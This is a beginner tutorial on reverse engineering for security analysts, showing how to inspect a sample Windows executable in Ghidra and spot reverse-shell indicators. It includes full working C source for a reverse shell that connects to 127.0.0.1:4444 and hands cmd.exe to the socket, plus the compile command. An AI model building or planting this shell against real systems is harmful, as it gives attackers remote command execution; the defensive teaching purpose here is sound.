Simple Reverse Engineering

What is Reverse Engineering?

Reverse engineering is the process of analyzing a product, system, or software to understand how it works, especially when its original design or source code isn’t available. In the context of software and cybersecurity, it often involves dissecting binaries or executables to uncover their functionality, structure, and behavior. It uses tools like disassemblers, debuggers, and hex editors to study code, reconstruct algorithms, or identify vulnerabilities.

Why Reverse Engineering is Important in Cyber Security?

Reverse engineering helps SOC teams:

Understand malware behavior: Identify what a suspicious binary is trying to do.
Extract IOCs (Indicators of Compromise): Such as IP addresses, domains, or file hashes.
Validate alerts: Determine if an alert is a false positive or a real threat.
Support threat hunting: Discover stealthy or novel threats that bypass signature-based detection.

Reverse engineering is also important for hackers because it allows them to understand how an application or software works behind the scenes. This helps them find vulnerabilities, bypass protections, or even “poison” the application—like injecting malware, modifying its behavior, or creating exploits. It’s a key step in breaking security mechanisms and gaining unauthorized access.

In this article, we will explore a straightforward PoC to showcase how reverse engineering can reveal the hidden behavior of an otherwise unassuming executable file.

Reversing an Executable File: A Step-by-Step Guide

To begin, we create a test file designed to simulate typical behavior observed in real-world threats.

// notevil.c (for demo ONLY, not actual malware)
#include <winsock2.h>
#include <windows.h>

#pragma comment(lib,"ws2_32")

int main() {
    WSADATA wsa;
    SOCKET sock;
    struct sockaddr_in server;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    WSAStartup(MAKEWORD(2,2), &wsa);
    sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    server.sin_family = AF_INET;
    server.sin_port = htons(4444);
    server.sin_addr.s_addr = inet_addr("127.0.0.1");

    connect(sock, (struct sockaddr*)&server, sizeof(server));

    memset(&si, 0, sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;

    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

    return 0;
}

This C code establishes a reverse shell to 127.0.0.1:4444, spawning cmd.exe with redirected stdin/stdout/stderr to the socket.

x86_64-w64-mingw32-gcc notevil.c -o notevil.exe -lws2_32

Compile the file using MinGW.

Step 1: File Inspection

To inspect the file. We will first check the file type with command file.This tells us it’s a Windows PE executable.

Afterwards, we can use strings to reveals any readable ASCII text. In this case, the output may not immediately show useful information.

In the next section, we will decompile the executable file with Ghidra.

Step 2: Decompile the File

What is Ghidra

Ghidra is an open-source software reverse engineering (SRE) framework developed by the National Security Agency (NSA). It provides a suite of tools for analyzing compiled code across various platforms, including Windows, macOS, and Linux. Ghidra supports disassembly, decompilation, graphing, scripting, and more, making it a powerful tool for reverse engineering tasks.
You can find the GitHub repository for Ghidra here.

Decompile with Ghidra

After Ghidra is started, we make a new project.

Click “Import File” and Import “notevil.exe”.

Click OK.

Double-click the file and select “Yes” to begin the analysis. Click”Analyze”.

The analysis results would be displayed.

When viewing the decompiled code in the right panel, make sure to examine the contents carefully. We will focus on examining specific elements that often indicate malicious behavior within reverse shell code, including:

IP Address and Port Number: These details can reveal the remote location the malicious file is attempting to connect to.
CreateProcess > cmd.exe: Indicates a process designed to invoke the command prompt, often used in reverse shells for executing arbitrary commands.
WSAStartup: Commonly associated with initializing network communication in Windows systems.
connect: Suggests an attempt to establish a connection to a remote server.

These keywords and patterns serve as critical markers when analyzing potentially harmful executables.

You can right click on the hex vaule to show the decimal

It’s a simple demo of using Ghidra to reverse engineer a malicious executable file. As a good blue teamer, we don’t just toss the file into VirusTotal and call it a day, right?

Bonus Track - Hack the Box Challenges: Behind the Scenes Walkthrough

Here’s a walkthrough for the Hack the Box challenge, Behind the Scenes, leveraging the concepts we just explored and putting Ghidra to work to analyze and dissect the challenge.

Download the file.